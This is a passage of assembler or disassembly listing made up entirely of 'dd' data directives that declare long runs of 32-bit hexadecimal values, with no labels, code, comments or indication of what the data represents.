		dd 887CCCD9h, 0C7055A61h, 0BEF625C8h, 0C478AE80h, 1710A2D8h
		dd 0A6890604h, 0DA0210DDh, 9EC21464h, 0F0FC44C7h, 58451361h
		dd 0BEBC0630h, 0C618D0B1h, 1020E78Ah, 0CD787601h, 0F150B348h
		dd 0EE2890D9h, 0F0F9FA21h, 0C13504Ch, 0F8C67F01h, 0BD006721h
		dd 0EC2B9F72h, 63F0C139h, 0EB8918F6h, 908E3918h, 30213941h
		dd 3618D6F0h, 39C376BDh, 8961ABh, 52C6E351h, 6A9ED1E8h
		dd 0A310BF00h, 0AE6441E9h, 0DDC769Dh, 0D963AAA6h, 77B86091h
		dd 64C098ABh, 0BC5C296Dh, 926C00C8h, 3DD796E5h,	0BAE0C1D1h
		dd 0CC1E1BBBh, 0A318CFE2h, 0AE192840h, 9E723BF2h, 0B15D1274h
		dd 0EA0C028Ah, 0D461F0E8h, 7A9030D9h, 44FB48h, 0CE783D6h
		dd 0C3F7B721h, 0DC1BF109h, 0BFC2A8F0h, 0D7B3E505h, 4C70E63Eh
		dd 0ADFB9ACh, 83BDE71Bh, 46B744E0h, 1948161Fh, 0F05F66A7h
		dd 2238029Bh, 0ACA0E0B6h, 0EDA63D6Bh, 610B9C90h, 8657E8D8h
		dd 821FC10h, 3EFE3CAFh,	6413E021h, 8FA2340Eh, 0A8451658h
		dd 0BC191269h, 92E0D821h, 7182FFC6h, 8C996DAAh,	0CC48A44Ah
		dd 0F201B4D2h, 891C9EE2h, 4887BB43h, 4C993A06h,	14888EF8h
		dd 0F7BF3951h, 9E14081h, 80D388DEh, 27204AA1h, 0B88FA3EEh
		dd 7AB1DA8h, 0DE4032E4h, 0A9E9A520h, 8D622AAAh,	0C890E690h
		dd 11809510h, 9C64EFA3h, 5527011Fh, 0C67A33E8h,	49C187F1h
		dd 0E240FB66h, 0A0D84C6Dh, 0A8B5DAF8h, 4C20ACBCh, 3F06841Ch
		dd 79EF409Bh, 9E000B78h, 0A3712C68h, 0F32DB575h, 939FB081h
		dd 20A8E4E0h, 6B88C72Ch, 0D10400AFh, 7706AEB4h,	3802BB7Eh
		dd 89F10FCCh, 0A0C0AFA8h, 7FC8AE8Dh, 48A7392Eh,	19AC2D2Ch
		dd 24E021B9h, 0C0653D1Ch, 881EEB59h, 0BD113818h, 260C00AEh
		dd 0ABE24837h, 0D4A6C963h, 41A8D649h, 63605828h, 21DA6D30h
		dd 4C186225h, 641F7826h, 2119F0A5h, 0C3548897h,	3D1255D0h
		dd 2000C65Ah, 0BD3E3064h, 2CFE00F0h, 1E6D6617h,	0ED56A7FAh
		dd 213A0514h, 30041462h, 0CB27CD6Dh, 0EC03A089h, 690E6F88h
		dd 62332710h, 0E0E7C86Bh, 317A647h, 6FCA8BEh, 2900EF89h
		dd 0ED8FBCE6h, 4A16191h, 5DAAFF36h, 18048881h, 28A57876h
		dd 87BC36E1h, 221A8F0Eh, 80968CEFh, 0C6A6282Ch,	47C0A8DFh
		dd 0E8852C3Ah, 0E26130D6h, 0DE019312h, 0AF1E5230h, 1C22E1EEh
		dd 1B80C221h, 0A019B9D1h, 98DF50A1h, 109D4242h,	1862C4BDh
		dd 0B5109CAAh, 0F24384C6h, 16D00510h, 3028EE86h, 0E8544D41h
		dd 0D721BF00h, 0E4CFABB9h, 0AE025CEAh, 0CD6227C2h, 6C2C87E6h
		dd 0E6EC2823h, 0BA6E24F0h, 0E500BC90h, 0DBE06B0Dh, 11695569h
		dd 29DC8481h, 0E8E40825h, 8109BF8Eh, 31D171BBh,	89102084h
		dd 0C3C8907Dh, 0FA097E66h, 80E02978h, 10EE4DA8h, 19E30265h
		dd 2F723D69h, 0BD6478C0h, 3CFF5924h, 0EF6BA100h, 3EC8690Dh
		dd 10B366DDh, 5133DC89h, 35DC6D8h, 7224A331h, 803E35E9h
		dd 30E97368h, 0C9F9216Ch, 0F2188237h, 88E96Dh, 0DEC9627Ch
		dd 30E1E80h, 0FA40A752h, 264211BAh, 95B71894h, 4C2EBB30h
		dd 8E209869h, 1563B4A1h, 8D843887h, 88DF4701h, 89CC348Ah
		dd 94E25928h, 2CA7C218h, 30FC6E8h, 8DFB539h, 0C000FC5Bh
		dd 0F496D089h, 6499C1E7h, 2423292Ah, 4229C986h,	28FD11FCh
		dd 13033722h, 0FB9E5770h
		dd 0D83ED0E2h, 6243004Eh, 0F5382DBCh, 850081A2h, 246CD20Fh
		dd 0F2F106FFh, 53E90011h, 3CBDB2FCh, 1D0ECF5Fh,	98A70F9Fh
		dd 0EDBDAF2h, 3BC70239h, 0E1122FC0h, 6E1EE0DDh,	4E8ED1BDh
		dd 0B5A8A061h, 180D5368h, 2948BBEEh, 2100F38Fh,	0E46A01EDh
		dd 20C28B59h, 6E0069B6h, 496F0A7h, 395545D6h, 4A83B7D4h
		dd 7BF6ED68h, 566580CCh, 0E20016CAh, 0E33E474Dh, 0CB12Bh
		dd 0EECCFC4Ch, 0F83A9B23h, 0E4B47500h, 224DF7A7h, 483C1C78h
		dd 2F687B0h, 7E7300BAh,	0FD001240h, 0A02B900Bh,	2DA8B5h
		dd 57C72C3Ch, 3A14FEBBh, 3987F104h, 7CA005F8h, 53970F6Eh
		dd 36C188h, 0FE921CBh, 4B0085C4h, 207EB0B4h, 138D0B22h
		dd 0EA89054h, 4040AE0Ch, 17F2C8F0h, 58EB5507h, 5E203BF4h
		dd 318825h, 9E24DFF5h, 8D64A62Ah, 0CA280770h, 7200A86Ch
		dd 0ECF68EA3h, 70393EEh, 927B41FBh, 0D7DDC02Bh,	1C00D126h
		dd 7B5BF11h, 0D5EF4Fh, 0F65A7AEBh, 0C9E3DB4Dh, 9026F700h
		dd 0B44CB2A6h, 0D4E88Fh, 0FA1D36D2h, 0DDBD81A0h, 23F32200h
		dd 0B8B93EFDh, 7E7616h,	0BAB58847h, 14029E76h, 0F2006C9Ch
		dd 770FE1Ch, 27A9007Bh,	3AFA6954h, 0B700CED4h, 0C35EB5ADh
		dd 1FBCCBD8h, 80C6552Eh, 1E77D18Fh, 3F3E4F9Ah, 87A887D3h
		dd 0D960EBBFh, 9C7AE3h,	94FB8C35h, 0F42FE111h, 0DE3DC5E0h
		dd 5E44803Dh, 159345D5h, 4C221E3Ah, 0A27F40DBh,	53A8D949h
		dd 344E48h, 0A01693D3h,	90026410h, 108EC38h, 976A0C9Ah
		dd 0D8C9804Bh, 0A90F5188h, 0E0877585h, 2A771645h, 0E0505F4Dh
		dd 8E002968h, 0D9B613Bh, 3A65FE9Fh, 0E1800BD8h,	0AE967CB3h
		dd 45006F15h, 0E744EB75h, 114CA8h, 3FAA7A7Bh, 9658EE0Ch
		dd 68505900h, 0D7CD31ADh, 0A1F249h, 915A9779h, 941B0940h
		dd 78E35903h, 0F8D50B26h, 0FC9B62h, 0C8FE90E2h,	0E4912071h
		dd 0D888A551h, 322C1389h, 800054D6h, 0ABC8CED7h, 0E2F75D5h
		dd 0E9E1A606h, 1670C033h, 0A21E0374h, 0C240E6FFh, 565F42DCh
		dd 24210040h, 8185A6F9h, 6800DE13h, 0FD7AFB20h,	0DD0D9Dh
		dd 41AEF85Fh, 21CB5BC8h, 96BAB39h, 536D09h, 730625FCh
		dd 0BA951EB0h, 0BC515435h, 0A9194903h, 111C4018h, 0FF80A3E3h
		dd 9FDC1C28h, 0CE19C452h, 0BB648290h, 0D0FCB6E0h, 0D4297028h
		dd 5C2E1712h, 4781781Eh, 7E0AB6DAh, 1DAF1082h, 9C40C12Dh
		dd 0FD07F559h, 0FE302CB9h, 0A21C9740h, 283C48B4h, 8483930Eh
		dd 0F388C8Ch, 5C263F01h, 0A30E4C20h, 759BE0h, 0E60B4407h
		dd 0E3CE8ECAh, 0BEF95000h, 4548AD7Ch, 0CC60908h, 7400EE40h
		dd 5878E1D9h, 0D84EF000h, 6C2B1038h, 8C2C009Ch,	704977C1h
		dd 8BFCE8ABh, 0E57B3500h, 7ED2F61h, 4D8D003Ch, 2BE09AB2h
		dd 0D10008D3h, 9ECB9041h, 5BF7B4h, 0A51FE117h, 0CE72C630h
		dd 444D4872h, 627F7A9Ch, 8069D53Eh, 6596060Fh, 0BADEEC4h
		dd 0EA52784Bh, 0FF44608h, 40F33FB2h, 1ECE5814h,	0BF00E9DEh
		dd 3435E550h, 242DE88Fh, 3640FDAh, 0B66B742Ah, 5F84A380h
		dd 38A69402h, 8009AAA8h, 8310D2A0h, 14CB007Ah, 5FA2429h
		dd 8D020DE4h, 4A527B70h, 1230E819h, 0B5B2001Dh,	0A4B68B40h
		dd 2C00F188h, 7C5AC974h, 0C24990h, 128DB0CCh, 0F10B57C8h
		dd 0BC99AA00h, 81C96B55h, 0C5F40B08h, 7060B184h, 57E86332h
		dd 7FD11500h, 0AAB4F534h, 10E900A3h, 8C427DD0h,	2912E76Eh
		dd 0C307BC89h, 6480DAE5h, 0B049F444h, 2D170049h, 0CB409FB8h
		dd 374C5461h, 0F2D800ACh, 0E875BA3Eh, 33CFA07h,	0E085CD6h
		dd 0F87C6F0Ch, 6146AD00h, 0C3B3C937h, 50F44Ch, 289E441Ah
		dd 0B01E9CC0h, 0AA453Eh, 743F1BD6h, 68F7B5h, 0F806C4A3h
		dd 534ABEBDh, 3D5B0300h, 0A466188Eh, 0B4871C4Eh, 55F0C0C5h
		dd 0E0629706h, 193AD602h, 817DC27Fh, 912C52DCh,	0E9BBDCh
		dd 310AF303h, 0C663CD8Ah, 48A8C550h, 9CE37300h,	27CA220Fh
		dd 33D90052h, 0D1BA5B86h, 0B107A82Eh, 3D02CE6Eh, 741072E1h
		dd 0F9E4D88Eh, 87D750E1h, 4F4C3064h, 9DA2FD1Eh,	3411C541h
		dd 0B3E47F8Eh, 0C0D900F6h, 103A72D4h, 0D8A020C3h, 963FC4B5h
		dd 90CF00C1h, 7E59F64h,	262D00C7h, 0C44DA6E7h, 0DA4CDE1Dh
		dd 8E9E0763h, 7C900F82h, 7A2AC58Dh, 24F90090h, 0A05FEEBAh
		dd 0EB00F4B3h, 1208734h, 33C91Ah, 8F14FA94h, 0FD628E51h
		dd 6A51E00h, 9A7F2FAFh,	16EF2B8h, 0AC3C31D8h, 0CC8DFAADh
		dd 0A00B4F4h, 0F853BAEBh, 1E78D936h, 450B1387h,	814E8CC4h
		dd 285C2C8Eh, 0FD3D0080h, 6B546404h, 74CB00E4h,	90B858C7h
		dd 307EDABh, 0F4B70FADh, 1FD1EFC0h, 4B7200C9h, 0A9E06BF1h
		dd 0BE008651h, 1C27CF0Ch, 242C4D3Dh, 4E498E4h, 20C5CBBFh
		dd 30C18DFh, 0EBF5B057h, 97C085CAh, 683C5473h, 31E22CE5h
		dd 0F6373002h, 2ED450DDh, 2804F2AEh, 803C1DFCh,	10B3401Dh
		dd 5C19EA4Ch, 0E429DE61h, 3D10FBF2h, 62051283h,	0C9642073h
		dd 3B69BCD0h, 6A050186h, 6B520BB5h, 8C399Fh, 2C7ACEADh
		dd 2B0C34h, 0DE2510FBh,	0F3549C4Ch, 382238h, 300BFA27h
		dd 984AD7h, 0E91B8760h,	76EAB61Dh, 0B5E4CF13h, 47332C01h
		dd 5880D2E7h, 669EE268h, 0CB6ED90h, 0ECC73F83h,	1783C06Fh
		dd 0C221041Dh, 43BDAD71h, 3BECCA39h, 9E076A99h,	41EA68BBh
		dd 98CDE047h, 0FE103259h, 1734A8CCh, 1671003Eh,	6F75B8E6h
		dd 0E100F404h, 6B1FB779h, 66E838Eh, 1647BDA2h, 58DC3935h
		dd 3A002AD6h, 3904CF92h, 6640A123h, 68B12081h, 4121388Ch
		dd 40AC700Ch, 0CF932358h, 6F411A04h, 2883E53Fh,	2572B0E3h
		dd 0BC2E0029h, 696BACDCh, 41CF21C6h, 83CE0013h,	7CCE3CFh
		dd 9E7A669Bh, 389C4087h, 29C9F81Dh, 0E149000Dh,	3E60BFE2h
		dd 0AB0CF95Ch, 3621DA63h, 0E8A67809h, 0F3181362h, 20483E40h
		dd 0D226640Eh, 0FEC71EE3h, 0DACC5BC8h, 0E81DD914h, 0C80474C4h
		dd 0A362AB29h, 0E38974E0h, 0FBB84980h, 47E6E9DAh, 5851FF5Bh
		dd 4B88B804h, 6670489Fh, 22242042h, 0A2230FFh, 8D4022E5h
		dd 25228622h, 44140493h, 806C48EBh, 4BC1377Ch, 0A10045D4h
		dd 74E8B42Bh, 70497F7h,	0A00D62D8h, 0FF725071h,	79076C7Fh
		dd 0CBDA65B4h, 0A5BBC420h, 1C29006Fh, 9C1B8E07h, 9400C849h
		dd 0EDAC92E5h, 2F7AE0h,	0B1A30B33h, 4FA4E70Fh, 24EBC600h
		dd 0AC621937h, 93F5164Eh, 51B801B9h, 0E7BF25ECh, 70085081h
		dd 98006E70h, 1CAEA36Bh, 2AB7304Fh, 79425E5h, 0D50796A0h
		dd 0D6903259h, 7B008C58h, 6A9F0E05h, 0B9CA38h, 0EFB4AE1Dh
		dd 62C404E2h, 417CDF03h, 8B619E42h, 0E0D6A9FFh,	2A49CBF8h
		dd 0C0A61Bh, 999BA278h,	5818F755h, 85D8100h, 0E4A79DD2h
		dd 0E06300ECh, 67DD8F7Fh, 18B90940h, 39A79400h,	0F01DCD5Eh
		dd 0C845005Ah, 0B7EDD5F5h, 0EC98627Eh, 8C2DC904h, 78C09AC7h
		dd 1EDF5Fh, 0F9DC57F6h,	0FEB37993h, 50E45D0Eh, 0F45A6168h
		dd 96ECB5C1h, 42580BFAh, 7F800124h, 0AD7347CDh,	39987E07h
		dd 1190FFF8h, 79F02BE1h, 9501001Ah, 17BF8D8Fh, 74021F61h
		dd 0DAE22142h, 0AB7C0Ch, 327ABD7Fh, 2D00C20Bh, 62A5EEF1h
		dd 0D9C4C7h, 74FE78B2h,	8028BCDCh, 901E9507h, 0CABF927Dh
		dd 0E71ED8F2h, 70E5B4C0h, 326F3CFh, 295AF490h, 2000E110h
		dd 75D46A94h, 0EE8BE57Eh, 7F550030h, 8A3609FCh,	0CA00791Bh
		dd 16F4A834h, 0CEA0F7h,	78610194h, 59B4F3ABh, 5780AE07h
		dd 1F40C30Dh, 83537Fh
		dd 3D0132BBh, 44FE6A5Ch, 0AC096374h, 883C5FF6h,	4301FE62h
		dd 6C2204B0h, 4C955864h, 3B77C816h, 86AC3E05h, 0F17500DDh
		dd 4A85483Ah, 0E1003CFCh, 0CCE4E3D9h, 0E6EB82h,	0C4162FC5h
		dd 0BA801B88h, 9DB440Eh, 4A00DCB1h, 0A77896D4h,	1E77C8h
		dd 392A9776h, 0C6A20485h, 9B8B0D1Dh, 21F2880h, 1803E684h
		dd 4E06D33Fh, 2C96DF97h, 4F58EA00h, 2ACA5046h, 1EF4E62Fh
		dd 9D75140Ah, 0FEE9879Dh, 0C049037h, 0D9006EA7h, 0BBD1396Ah
		dd 0F8A25ACBh, 0F77F27h, 0B5EF17E7h, 0DBDA54B1h, 1F7AD102h
		dd 40BF8733h, 7686798h,	20419304h, 1A08C1E9h, 0B53320DDh
		dd 9A824209h, 65D82F79h, 8C805F49h, 9050E39Ch, 27D000ACh
		dd 0EAE11228h, 789073D3h, 5C56C018h, 1728528h, 0D0FE89F7h
		dd 0FBF82F6Ch, 21112BF8h, 0C36A6502h, 0C0EF7D3Eh, 768BD2Ah
		dd 0F7EC4293h, 0CFC17055h, 430086B5h, 0E438B2A5h, 5E3C6Ah
		dd 55884BAAh, 72AEB79Ah, 0C16C3918h, 0EED66632h, 41183831h
		dd 78007725h, 0DC67FB4Ah, 0F468AD30h, 33CD0Dh, 58A86128h
		dd 0F604DA85h, 70A16E0Fh, 7E1E0034h, 0AC6F52h, 3CE6CC3h
		dd 0E0B48EB1h, 0B3D81000h, 0F539ECD9h, 7A4009DFh, 0C86E1DB7h
		dd 0CF71EA00h, 64546C5Eh, 28F42ED2h, 49530008h,	27EB940Ah
		dd 0C740600Eh, 58248035h, 0D7F5D0h, 9D68ECDAh, 0EBC39828h
		dd 63000498h, 4DF16B23h, 4C0D228Dh, 10C0502Eh, 0DD9D801Dh
		dd 0F8128563h, 6DC4B0A1h, 2CDA04B0h, 92F1CEE8h,	9A4055C0h
		dd 0D1E85702h, 5DD5A100h, 9FA95E8Ah, 426B4C0Ch,	7A074600h
		dd 0CC691A09h, 0E1259900h, 9CC0C240h, 0F2BD2E23h, 9FA48188h
		dd 0DC24464Eh, 0C7009B81h, 534865FFh, 2EF3CE31h, 681587h
		dd 7A68891Eh, 78004488h, 0DB65DA95h, 7E0980Ah, 0D1417936h
		dd 7C9CF027h, 6F006BE3h, 0F69632C8h, 0B0A84910h, 0C67C52h
		dd 9DA75C88h, 0C9D2AB7Eh, 0B6D3B90Eh, 0DA6783F3h, 2C809429h
		dd 0F0DFE1F9h, 0FFA00096h, 5C910C8Eh, 721C23BAh, 3E80603Dh
		dd 94969C25h, 61C30040h, 9D19C152h, 4579CEBFh, 0A8C8A00h
		dd 7C83DC3Fh, 7B78006Fh, 4D27D955h, 1F4CEFCEh, 383F035Bh
		dd 0E0DB152Eh, 2CE4C479h, 8010EE6Dh, 0A9621DC1h, 84129051h
		dd 880611BCh, 921FA8Eh,	21DA3AF9h, 14809809h, 2DA87945h
		dd 4EBB420Ch, 1D81807h,	99A06096h, 20E00C80h, 1CB05A28h
		dd 0F7B27h, 17AEEF5Ch, 396700A5h, 0C0D6F571h, 0B609A4A0h
		dd 4046F29Bh, 0A8178154h, 0FFDEC4h, 0AB9FEA64h,	0B45DAAE5h
		dd 3BEDD812h, 77456403h, 7CD2A833h, 0F970007Fh,	94105223h
		dd 0EFB0BB17h, 0F8E6F704h, 0C280E1CDh, 38479DDEh, 0F9F17Fh
		dd 0EE8258A1h, 0C057C938h, 20084C2Fh, 9F1DDB8Ch, 0FD6901BFh
		dd 608D187Fh, 468824EBh, 4A44D100h, 0D8DB3E2Ch,	5D7F48h
		dd 0F63F26BEh, 1B9987A3h, 6B780500h, 55F037BAh,	24935CECh
		dd 0CCE0800h, 5B9EBDD7h, 2C3E683Ch, 2C3C324Ah, 560FECAFh
		dd 58DEA090h, 0E17EB19h, 4E8CB052h, 1F452860h, 0C138259Eh
		dd 9DDF8027h, 7DD9213Fh, 0DBF4333Ch, 77F02FF0h,	2501A1D0h
		dd 63DD969Eh, 58F4AFC8h, 814E0EF1h, 0EC359AB9h,	1398E076h
		dd 0C0EFD0FFh, 238C4A64h, 612C0C00h, 0CB902997h, 6AF80009h
		dd 0FE459B55h, 0E7000DCFh, 12EE2D5Fh, 14A803Bh,	0E0B1ABB3h
		dd 0BE866BB0h, 40B70688h, 3D68EB98h, 0F48372DFh, 0CB38E869h
		dd 0F593D000h, 0D9DA6341h, 730F019Ah, 0AD3B696Eh, 0C58A30F1h
		dd 168DC200h, 0C75D5275h, 0B2A000BAh, 8037EAF7h, 192C1825h
		dd 0EE020ADAh, 52AF70B8h, 0C83F00C8h, 83F66FECh, 21091317h
		dd 64A3713Ch, 22C44330h, 8AE240DAh, 0F83A1F44h,	0D98D0017h
		dd 262BFA4Fh, 3D0036B3h, 67A91C7Eh, 3FB2A835h, 92BBE349h
		dd 0E778038Eh, 718C96C0h, 16008034h, 21E2845Ch,	7461CF83h
		dd 0FC219DBEh, 2E530E12h, 0E3215406h, 838E0020h, 0E2C9DEC0h
		dd 0A2032F62h, 89EE7B5Eh, 27ED80F7h, 10CF029Bh,	0A0713D21h
		dd 321D68A4h, 6604D2h, 0BC8668AFh, 5CF8A8E3h, 0C023F8B0h
		dd 97411A70h, 0C7F8E5C4h, 8C0FB1Fh, 0B9BEECC1h,	0BFD42BAFh
		dd 0AE671322h, 0D9142041h, 460F5584h, 0A0DD21E5h, 6E495EA1h
		dd 93FEC8h, 0F366BAFCh,	9C7141D7h, 0A0CC2F50h, 5C45EA2Eh
		dd 1BB0033Dh, 0C618C737h, 32F206B1h, 11E9C693h,	2022ED00h
		dd 0A5E17506h, 1E250159h, 6E975EDCh, 52B0D005h,	0CAEBA800h
		dd 71CE7BD7h, 50BF07F6h, 0CC4139A4h, 87F8DAA9h,	6CCE1200h
		dd 72D874DCh, 40686117h, 0C43F6934h, 0BE07770Ch, 11711684h
		dd 688E6790h, 413839ECh, 308749E0h, 1607E4BBh, 0EB29C04Ch
		dd 78AC3F80h, 890F0175h, 41DD077Dh, 8E3180E7h, 6657E56Dh
		dd 0E45E00B9h, 39E2835Ch, 0E00EE81Eh, 5470E7FDh, 13F33BDFh
		dd 0F4B462AAh, 40F41869h, 885249FCh, 57005798h,	0A4BEC4D3h
		dd 4C6A3FC6h, 0F0B525Ch, 701B2E8h, 0CFE7F2BAh, 0AD1FEEF0h
		dd 0ED2FA000h, 5BD130AAh, 904A0E9Dh, 480BF594h,	84552880h
		dd 5F07D74Eh, 6734DAE6h, 0E8CBB950h, 0D218006Eh, 0B8E5C7A0h
		dd 1A00FEC3h, 82EECDCh,	0CEE1F6h, 0D5D1B4FAh, 68AE81Bh
		dd 0E230D860h, 6988C25h, 7D787937h, 0AAF870ABh,	80F504A5h
		dd 8809AC36h, 0D560F9BBh, 3D8F8C18h, 9CA20053h,	0FAA976C1h
		dd 6BB86629h, 0C6F328C0h, 228DAAA5h, 0D5223FF5h, 0F3DB2279h
		dd 22C7D722h, 0D94239B2h, 21FD4A11h, 0C422085Bh, 8284ED90h
		dd 3CBF4AFFh, 90C07B08h, 8BA08491h, 1014A34Ah, 8219ED6h
		dd 79FF76Ah, 2FFC22E2h,	2811A942h, 80B218Eh, 0BD9034ABh
		dd 48986384h, 3647426Fh, 0A7216124h, 44D81799h,	107522F8h
		dd 37899B7Dh, 3044D508h, 84138879h, 0F5E62A72h,	65644B00h
		dd 0BFD85E56h, 0A34200BBh, 117B0F23h, 467BAEA5h, 0EF0C9707h
		dd 0DB0762Dh, 1C1DA8Eh,	27AA6EA2h, 0F7DD68B1h, 7EF8F180h
		dd 6221EF00h, 0FFACABDCh, 0E5510003h, 6808487Ah, 91FA6E59h
		dd 0A2F4CC00h, 0F2AD5E89h, 71D8283Ch, 0F98703FDh, 1337060Eh
		dd 3DD56990h, 50005FF2h, 0BDDBA5E4h, 54705Bh, 7E781CE1h
		dd 53ADA0B3h, 20017A98h, 0F6FC63E3h, 0ACC8B19Ah, 3F370014h
		dd 65358C8Ah, 9200B7CCh, 1964BCA9h, 4B0583Dh, 990AEA83h
		dd 0BF04D0C3h, 0AE00F646h, 17975204h, 3007C834h, 29800282h
		dd 0C1381991h, 0A4BB0005h, 0B5DA40D9h, 3C82EC53h, 29002A35h
		dd 69EA4C18h, 0F81DF03Ch, 90A84D83h, 4103260h, 9E8C93h
		dd 1FAC9B9h, 0EB220ABFh, 85733900h, 0D29F4CB7h,	9079C2h
		dd 542444A7h, 956F0D94h, 6400B890h, 0FB67E4F1h,	83493Ah
		dd 74D4579Ah, 0EE40EF8Ah, 2A9FBF01h, 6FA2C585h,	62C08C54h
		dd 7EFEDBh, 0BC4E3AFFh,	65D77713h, 0AB805F00h, 52794273h
		dd 1F0BE22Fh, 4E68769Eh, 33EE033h, 0EFFF6D4Ch, 0C1048580h
		dd 0A1D90A07h, 11A509BAh, 0E84A8C00h, 28F5D7CBh, 0EEF80C07h
		dd 0E29D3833h, 2357DF80h, 1688B77h, 3FDA2400h, 39DC262Dh
		dd 0D9460B3Dh, 91015B03h, 0E81A3C78h, 900086CAh, 0DBED17DAh
		dd 675720h, 6DB8A3ACh, 375CE8B7h, 0A5C52901h, 6BEDAE50h
		dd 925E19E0h, 9EE01038h, 677107D2h, 0EC205CD6h,	0F5B3A9Ch
		dd 1BBCEAF8h, 236DEE0h,	0B4B82FB0h, 1DD92400h, 0DCB107A1h
		dd 0CCC500B6h, 0BE1CA8Ch, 4D005DBDh, 48BE4E6h, 0EE9D5046h
		dd 4BFF0086h, 25BF6365h, 721F2332h, 8F128977h, 0D7E22400h
		dd 58D55BBAh, 0B5005C45h
		dd 88A8EFA6h, 72009102h, 0E1CB5F6Ch, 3F561DBh, 9F5A400Eh
		dd 72DE24FCh, 52118B0Fh, 816F603Fh, 48C713D8h, 2E16B001h
		dd 0A3EA00BFh, 0D04659B1h, 0E04AEF04h, 8BC09EB5h, 58F3A90h
		dd 54D53264h, 0DFD000D3h, 813E9751h, 46E36A04h,	74886852h
		dd 1F057F74h, 80FB9AB2h, 17C87C0h, 20017748h, 7FA089F8h
		dd 9C2097E9h, 7D260040h, 117980Fh, 33B8EC82h, 5306D200h
		dd 1B05F75Ch, 0C3BC07A6h, 601458ACh, 0ED976B3Fh, 0E0BB022Eh
		dd 28FEB09h, 20BC3368h,	8B8DF15Ah, 9B721000h, 2606B392h
		dd 90B97794h, 97EC3C21h, 2B084009h, 0BE906C07h,	0F24E87C0h
		dd 0F40CAB44h, 0E89A1194h, 3ACAE099h, 10E0F39Dh, 9E7EB27h
		dd 97F68F03h, 0D8A9E552h, 0CAFEF8h, 88B1737h, 66B9D770h
		dd 0F70F7B00h, 0FBEECEDBh, 53F095h, 0B86F62C4h,	3F836CA1h
		dd 38C8D400h, 0FF699FE7h, 0C7417CC6h, 0F773D268h, 3780F989h
		dd 92A4CB50h, 1B8C2802h, 60D7D6FFh, 0F72A848h, 4B4AEA9Fh
		dd 0A12BD800h, 613884D3h, 0B059809Eh, 0A3C57998h, 98E9F26Ch
		dd 17B29h, 0C0F3D4D7h, 0B3D9DC3Ch, 270910C0h, 0F032D92h
		dd 0C6BCD26Eh, 571B08E7h, 23A44CA3h, 0E06DA405h, 0B400BF3Eh
		dd 0AF22BBA9h, 83340F87h, 7FC0DF0Eh, 0C475DA8Bh, 29366000h
		dd 0FA13DBEh, 826400C0h, 0E43C3A31h, 0A20398D3h, 167B6E41h
		dd 0B6CBB8A0h, 83F2D9h,	22C982A6h, 3166EB1Eh, 4A714Ch
		dd 5480E191h, 0F636E3A1h, 942F00D8h, 0D94D083Ah, 0E6FACF1Fh
		dd 35017FEh, 60483A0h, 1B3FD388h, 0C160ACC7h, 4A3758h
		dd 82FE13A6h, 0EDF69C6Ch, 0D13F0900h, 2D83566Fh, 0BA1D03AAh
		dd 0A8653BE1h, 19F701F0h, 4C00D5E4h, 4588D2C1h,	78ABB6FFh
		dd 0DA09004Bh, 2CAA1F21h, 0A2C04496h, 61C4C92h,	7D9B00E4h
		dd 88D812A8h, 0F0E33A9h, 0E160BF16h, 0B3FD23F2h, 866DE4h
		dd 10FF4E04h, 28331CA4h, 6B0067FCh, 0B7E2E830h,	5445A8h
		dd 78B67EFDh, 0D09C6FE0h, 8A6A8505h, 90C0D6BBh,	13E5AF54h
		dd 4E18FD0Ah, 80BEFC28h, 28AD43B2h, 170038C4h, 37D9698Ah
		dd 267810h, 8F8E821Bh, 68B3E4E8h, 5243CE00h, 91763DCCh
		dd 0ACA92687h, 849A28EBh, 2C9402BCh, 73A50F2Fh,	0D49004CBh
		dd 0B3009C5Bh, 64D0F623h, 4C30748Ah, 6D01004Eh,	6F9B77D6h
		dd 9C2BFCAEh, 3AF0F00h,	0AD1962B8h, 1F047C74h, 0C0862D2Fh
		dd 63802465h, 2100B264h, 0ED2E36C1h, 0A15F3Ah, 8EFEE54Dh
		dd 67BAB193h, 41803B00h, 696C6196h, 3F6B01D1h, 122BD636h
		dd 74DECCE3h, 7E943400h, 507C4A41h, 0E5D0E1EDh,	0E67606h
		dd 6E39E0B2h, 0DDF4FA3Ah, 0AEF54200h, 0D9FB7123h, 953F0006h
		dd 31BC5707h, 2C000FB9h, 700C3A32h, 163E9Ch, 0A4497BE2h
		dd 5AF6383Ch, 8C00B892h, 0E127DB7Ah, 28589652h,	0D0D0EBh
		dd 23B65EA4h, 9B16C9CDh, 0E9AD6D01h, 0BD7381DEh, 0E86C30h
		dd 289ABA25h, 0D6684061h, 0FFB2B900h, 631518BFh, 707E0019h
		dd 8613E382h, 0D0ABB0C1h, 30CA99C1h, 71007478h,	4327C381h
		dd 0C4428Ch, 38456A9Bh,	4CE4A5E5h, 0DA335D03h, 8893D479h
		dd 0F627C228h, 8BBE0073h, 6F0E0C5Ch, 154C9BA9h,	7C5E036Ch
		dd 0E0D563CDh, 0B5EB05h, 226AA00Bh, 0C4FFC2A8h,	262C075Ch
		dd 0A300550Ah, 86E21DDFh, 5E963A13h, 307C4701h,	0F418F8CCh
		dd 0B501D42Ch, 0EF2242F9h, 71ECF491h, 475A00A7h, 55F5EEA8h
		dd 0D700D887h, 0DBB4E4CFh, 3B401E50h, 0D680304Dh, 0C0B6C40Fh
		dd 2B009BF0h, 0E463EA41h, 0F23F07C5h, 7896038Bh, 29D54360h
		dd 203EC9F1h, 59008DD5h, 0B29F2AA0h, 0DCF91Ch, 7CD98C7Eh
		dd 68AA67C1h, 4E00CAF4h, 0CAFA287h, 76A13ECh, 0D68E0F71h
		dd 305A8737h, 0D1E31789h, 7CBD4226h, 99002516h,	1F481BCAh
		dd 546300ABh, 895705EBh, 9CB1DC47h, 439A2500h, 0F5AD01DAh
		dd 0CF60FCh, 0FACD3714h, 1B2F89F6h, 5DC24004h, 7CC09D35h
		dd 0FB1A5B5h, 36C879D3h, 26343B40h, 5E488849h, 657601A8h
		dd 80390E95h, 4C4D20h, 0D1E88D8Ch, 222862ECh, 4627F700h
		dd 2B197A51h, 0B1A800B5h, 0BCD1AD50h, 2C00A0D4h, 46B309D5h
		dd 72B81Fh, 57458AB2h, 7354FB6Bh, 0A8F2BC00h, 0C2063E8Eh
		dd 0ECD50062h, 0F6E2E6CDh, 0D1038BBDh, 346E3CB8h, 6376A022h
		dd 0DF7F00DDh, 2D8A9346h, 0AC00DC72h, 1F92B244h, 6814F0h
		dd 0CDF60755h, 88CEF24Fh, 0F9212905h, 0A840FBC3h, 9357460Dh
		dd 37601262h, 0CF604073h, 443FA29Eh, 1E359B2Ch,	0A462CD00h
